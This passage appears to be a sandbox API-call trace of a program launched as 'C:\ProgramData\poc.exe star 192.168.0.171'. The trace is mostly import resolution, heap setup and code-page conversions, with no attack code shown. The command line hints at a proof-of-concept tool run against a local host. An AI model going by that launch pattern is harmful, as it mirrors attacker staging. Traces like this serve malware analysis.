lpAddress=0x4110c8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.736] VirtualProtect (in: lpAddress=0x4110c8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.736] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0118.736] VirtualProtect (in: lpAddress=0x4110cc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.736] VirtualProtect (in: lpAddress=0x4110cc, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.736] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0118.736] VirtualProtect (in: lpAddress=0x4110d0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.736] VirtualProtect (in: lpAddress=0x4110d0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.736] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0118.736] VirtualProtect (in: lpAddress=0x4110d4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.737] VirtualProtect (in: lpAddress=0x4110d4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.737] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0118.737] VirtualProtect (in: lpAddress=0x4110d8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.737] VirtualProtect (in: lpAddress=0x4110d8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.737] GetProcAddress (hModule=0x76e10000, lpProcName="SetEnvironmentVariableW") returned 0x76e289f1 [0118.737] VirtualProtect (in: lpAddress=0x4110dc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.737] VirtualProtect (in: lpAddress=0x4110dc, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.738] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0118.738] VirtualProtect (in: lpAddress=0x4110e0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.738] VirtualProtect (in: lpAddress=0x4110e0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.738] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0118.738] VirtualProtect (in: lpAddress=0x4110e4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.738] VirtualProtect (in: lpAddress=0x4110e4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.738] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0118.738] VirtualProtect (in: lpAddress=0x4110e8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.739] VirtualProtect (in: lpAddress=0x4110e8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.739] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringW") returned 0x76e23bca [0118.739] VirtualProtect (in: lpAddress=0x4110ec, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.739] VirtualProtect (in: lpAddress=0x4110ec, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.739] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0118.739] VirtualProtect (in: lpAddress=0x4110f0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.739] VirtualProtect (in: lpAddress=0x4110f0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.739] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0118.740] VirtualProtect (in: lpAddress=0x4110f4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.740] VirtualProtect (in: lpAddress=0x4110f4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.740] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0118.740] VirtualProtect (in: lpAddress=0x4110f8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.740] VirtualProtect (in: lpAddress=0x4110f8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.740] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0118.740] VirtualProtect (in: lpAddress=0x4110fc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.740] VirtualProtect (in: lpAddress=0x4110fc, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.741] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0118.741] VirtualProtect (in: lpAddress=0x411100, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.741] VirtualProtect (in: lpAddress=0x411100, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.741] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0118.741] VirtualProtect (in: lpAddress=0x411104, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.741] VirtualProtect (in: lpAddress=0x411104, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.741] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0118.741] VirtualProtect (in: lpAddress=0x411108, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.742] VirtualProtect (in: lpAddress=0x411108, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.742] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0118.742] VirtualProtect (in: lpAddress=0x41110c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.742] VirtualProtect (in: lpAddress=0x41110c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.742] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0118.742] VirtualProtect (in: lpAddress=0x411110, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.742] VirtualProtect (in: lpAddress=0x411110, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.743] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0118.743] VirtualProtect (in: lpAddress=0x411114, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.743] VirtualProtect (in: lpAddress=0x411114, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.743] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x28f97c | out: lpflOldProtect=0x28f97c*=0x2) returned 1 [0118.743] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x28f97c | out: lpflOldProtect=0x28f97c*=0x4) returned 1 [0118.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28ff6c | out: lpSystemTimeAsFileTime=0x28ff6c*(dwLowDateTime=0x9b3eb280, dwHighDateTime=0x1d5ca1f)) [0118.744] GetCurrentThreadId () returned 0x1110 [0118.744] GetCurrentProcessId () returned 0x1114 [0118.744] QueryPerformanceCounter (in: lpPerformanceCount=0x28ff64 | out: lpPerformanceCount=0x28ff64*=25985367948) returned 1 [0118.744] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0118.744] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0118.744] GetLastError () returned 0x57 [0118.744] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0118.744] GetLastError () returned 0x57 [0118.744] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0118.744] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0118.744] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0118.744] GetLastError () returned 0x57 [0118.744] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0118.744] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0118.745] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0118.745] GetLastError () returned 0x57 [0118.745] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0118.745] GetLastError () returned 0x57 [0118.745] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0118.745] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0118.745] GetProcessHeap () returned 0x740000 [0118.745] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0118.745] GetLastError () returned 0x57 [0118.745] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0118.745] GetLastError () returned 0x57 [0118.746] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0118.746] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0118.746] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x364) returned 0x76ee98 [0118.746] SetLastError (dwErrCode=0x57) [0118.746] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0xc00) returned 0x76f208 [0118.747] GetStartupInfoW (in: lpStartupInfo=0x28fea0 | out: lpStartupInfo=0x28fea0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\poc.exe star 192.168.0.171", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x401e00, hStdOutput=0x965bdc55, hStdError=0xfffffffe)) [0118.747] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0118.747] GetFileType (hFile=0x3) returned 0x2 [0118.747] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0118.748] GetFileType (hFile=0x7) returned 0x2 [0118.748] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0118.748] GetFileType (hFile=0xb) returned 0x2 [0118.748] GetCommandLineA () returned="C:\\ProgramData\\poc.exe star 192.168.0.171" [0118.748] GetCommandLineW () returned="C:\\ProgramData\\poc.exe star 192.168.0.171" [0118.748] GetACP () returned 0x4e4 [0118.748] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x0, Size=0x220) returned 0x76aab0 [0118.748] IsValidCodePage (CodePage=0x4e4) returned 1 [0118.748] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x28fec0 | out: lpCPInfo=0x28fec0) returned 1 [0118.748] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x28f788 | out: lpCPInfo=0x28f788) returned 1 [0118.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28fd9c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28fd9c, cbMultiByte=256, lpWideCharStr=0x28f528, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0118.748] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x28f79c | out: lpCharType=0x28f79c) returned 1 [0118.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28fd9c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28fd9c, cbMultiByte=256, lpWideCharStr=0x28f4d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ덵@Ā") returned 256 [0118.748] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0118.748] GetLastError () returned 0x57 [0118.749] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0118.749] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ덵@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0118.749] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ덵@Ā", cchSrc=256, lpDestStr=0x28f2c8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0118.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x28fc9c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÅF2\x96Øþ(", lpUsedDefaultChar=0x0) returned 256 [0118.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28fd9c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28fd9c, cbMultiByte=256, lpWideCharStr=0x28f4f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0118.749] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0118.749] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x28f2e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0118.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x28fb9c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 